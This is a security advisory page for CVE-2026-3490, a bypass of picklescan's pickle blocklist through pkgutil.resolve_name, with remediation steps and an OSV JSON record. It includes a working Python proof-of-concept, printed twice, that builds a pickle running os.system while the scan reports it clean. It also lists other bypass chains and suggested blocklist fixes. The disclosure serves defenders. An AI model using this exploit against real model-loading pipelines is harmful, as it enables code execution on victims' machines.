CVE-2026-3490: Picklescan PickleScan's Pkgutil.resolve_name Has A Universal Vulnerability

CRITICAL
Advisory Identifier: GHSA-vvpj-8cmc-gx39
CVSS 10.0
CWE-183 CWE-693
Published
Advisory Summary

CVE-2026-3490 is a CRITICAL (CVSS 10.0) picklescan's pkgutil.resolve_name has a universal vulnerability (CWE-183: Permissive List of Allowed Inputs) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan's pkgutil.resolve_name has a universal blocklist bypass. Remediation is available by upgrading affected packages to version 1.0.4.

CVE-2026-3490 at a Glance

CVE Identifier CVE-2026-3490
GHSA Identifier GHSA-vvpj-8cmc-gx39
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-183: Permissive List of Allowed Inputs
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-3490

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 1.0.4
pip install picklescan>=1.0.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-3490, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.4), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-183: Permissive List of Allowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `pkgutil.resolve_name()` is a Python stdlib function that resolves any `"module:attribute"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle's opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely. This defeats picklescan's **entire blocklist concept** — every single entry in `_unsafe_globals` can be bypassed. ## Severity **Critical** (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### How It Works A pickle file uses two chained REDUCE calls: ``` 1. STACK_GLOBAL: push pkgutil.resolve_name 2. REDUCE: call resolve_name("os:system") → returns os.system function object 3. REDUCE: call the returned function("malicious command") → RCE ``` picklescan's opcode scanner sees: - `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` → **NOT in blocklist** → CLEAN - The second `REDUCE` operates on a stack value (the return of the first call), not on a global import → **invisible to scanner** The string `"os:system"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references. ### Decompiled Pickle (what the data actually does) ```python from pkgutil import resolve_name _var0 = resolve_name('os:system') # Returns the actual os.system function _var1 = _var0('malicious_command') # Calls os.system('malicious_command') result = _var1 ``` ### Confirmed Bypass Targets Every entry in picklescan's blocklist can be reached via resolve_name: | Chain | Resolves To | Confirmed RCE | picklescan Result | |-------|------------|---------------|-------------------| | `resolve_name("os:system")` | `os.system` | YES | CLEAN | | `resolve_name("builtins:exec")` | `builtins.exec` | YES | CLEAN | | `resolve_name("builtins:eval")` | `builtins.eval` | YES | CLEAN | | `resolve_name("subprocess:getoutput")` | `subprocess.getoutput` | YES | CLEAN | | `resolve_name("subprocess:getstatusoutput")` | `subprocess.getstatusoutput` | YES | CLEAN | | `resolve_name("subprocess:call")` | `subprocess.call` | YES (shell=True needed) | CLEAN | | `resolve_name("subprocess:check_call")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN | | `resolve_name("subprocess:check_output")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN | | `resolve_name("posix:system")` | `posix.system` | YES | CLEAN | | `resolve_name("cProfile:run")` | `cProfile.run` | YES | CLEAN | | `resolve_name("profile:run")` | `profile.run` | YES | CLEAN | | `resolve_name("pty:spawn")` | `pty.spawn` | YES | CLEAN | **Total:** 11+ confirmed RCE chains, all reporting CLEAN. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # resolve_name("os:system")("id") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL + sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system") + sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id") + b"." # STOP ) # picklescan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs os.system("id") → RCE pickle.loads(payload) ``` ### Why `pkgutil` Is Not Blocked picklescan's `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility — its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget. **Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list. ## Impact This is a **complete bypass** of picklescan's security model. The entire blocklist — every module and function entry in `_unsafe_globals` — is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function. This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution ## Suggested Fix 1. **Immediate:** Add `pkgutil` to `_unsafe_globals`: ```python "pkgutil": {"resolve_name"}, ``` 2. **Also block similar resolution functions:** ```python "importlib": "*", "importlib.util": "*", ``` 3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider: - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `"module:function"`) - Treating unknown globals as dangerous by default - Switching to an allowlist model

CVE-2026-3490 Affected Picklescan Versions

1 component(s)
Fixed Versions:
1.0.4
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
PyPI
< 1.0.4
1.0.4

References

Frequently Asked Questions

What is CVE-2026-3490?
CVE-2026-3490 is a security vulnerability in Picklescan involving PickleScan's pkgutil.resolve_name has a universal blocklist bypass under CWE-183: Permissive List of Allowed Inputs.
Which Picklescan versions are affected?
Affected versions include releases prior to 1.0.4 across affected packages: picklescan.
What version fixes CVE-2026-3490?
Upgrading to 1.0.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 1.0.4. Upgrade your dependency to 1.0.4 or later.
What is the CVSS score of CVE-2026-3490?
CVE-2026-3490 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-3490?
CVE-2026-3490 is classified under CWE-183: Permissive List of Allowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.).
How can I check PyPI dependencies for CVE-2026-3490?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vvpj-8cmc-gx39",
  "modified" : "2026-06-18T14:45:31Z",
  "published" : "2026-03-03T20:04:20Z",
  "aliases" : [ "CVE-2026-3490" ],
  "summary" : "PickleScan's pkgutil.resolve_name has a universal blocklist bypass",
  "details" : "## Summary\n\n`pkgutil.resolve_name()` is a Python stdlib function that resolves any `\"module:attribute\"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle's opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.\n\nThis defeats picklescan's **entire blocklist concept** — every single entry in `_unsafe_globals` can be bypassed.\n\n## Severity\n\n**Critical** (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.\n\n## Affected Versions\n\n- picklescan <= 1.0.3 (all versions including latest)\n\n## Details\n\n### How It Works\n\nA pickle file uses two chained REDUCE calls:\n\n```\n1. STACK_GLOBAL: push pkgutil.resolve_name\n2. REDUCE: call resolve_name(\"os:system\") → returns os.system function object\n3. REDUCE: call the returned function(\"malicious command\") → RCE\n```\n\npicklescan's opcode scanner sees:\n- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` → **NOT in blocklist** → CLEAN\n- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import → **invisible to scanner**\n\nThe string `\"os:system\"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.\n\n### Decompiled Pickle (what the data actually does)\n\n```python\nfrom pkgutil import resolve_name\n_var0 = resolve_name('os:system')          # Returns the actual os.system function\n_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')\nresult = _var1\n```\n\n### Confirmed Bypass Targets\n\nEvery entry in picklescan's blocklist can be reached via resolve_name:\n\n| Chain | Resolves To | Confirmed RCE | picklescan Result |\n|-------|------------|---------------|-------------------|\n| `resolve_name(\"os:system\")` | `os.system` | YES | CLEAN |\n| `resolve_name(\"builtins:exec\")` | `builtins.exec` | YES | CLEAN |\n| `resolve_name(\"builtins:eval\")` | `builtins.eval` | YES | CLEAN |\n| `resolve_name(\"subprocess:getoutput\")` | `subprocess.getoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:getstatusoutput\")` | `subprocess.getstatusoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:call\")` | `subprocess.call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_call\")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_output\")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"posix:system\")` | `posix.system` | YES | CLEAN |\n| `resolve_name(\"cProfile:run\")` | `cProfile.run` | YES | CLEAN |\n| `resolve_name(\"profile:run\")` | `profile.run` | YES | CLEAN |\n| `resolve_name(\"pty:spawn\")` | `pty.spawn` | YES | CLEAN |\n\n**Total:** 11+ confirmed RCE chains, all reporting CLEAN.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# resolve_name(\"os:system\")(\"id\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 55)\n    + sbu(\"pkgutil\") + sbu(\"resolve_name\") + b\"\\x93\"  # STACK_GLOBAL\n    + sbu(\"os:system\") + b\"\\x85\" + b\"R\"                # REDUCE: resolve_name(\"os:system\")\n    + sbu(\"id\") + b\"\\x85\" + b\"R\"                       # REDUCE: os.system(\"id\")\n    + b\".\"                                               # STOP\n)\n\n# picklescan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs os.system(\"id\") → RCE\npickle.loads(payload)\n```\n\n### Why `pkgutil` Is Not Blocked\n\npicklescan's `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility — its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.\n\n**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.\n\n## Impact\n\nThis is a **complete bypass** of picklescan's security model. The entire blocklist — every module and function entry in `_unsafe_globals` — is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.\n\nThis affects:\n- HuggingFace Hub (uses picklescan)\n- Any ML pipeline using picklescan for safety validation\n- Any system relying on picklescan's blocklist to prevent malicious pickle execution\n\n## Suggested Fix\n\n1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:\n   ```python\n   \"pkgutil\": {\"resolve_name\"},\n   ```\n\n2. **Also block similar resolution functions:**\n   ```python\n   \"importlib\": \"*\",\n   \"importlib.util\": \"*\",\n   ```\n\n3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:\n   - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `\"module:function\"`)\n   - Treating unknown globals as dangerous by default\n   - Switching to an allowlist model",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-3490"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-name"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-183", "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-03T20:04:20Z",
    "nvd_published_at" : null
  }
}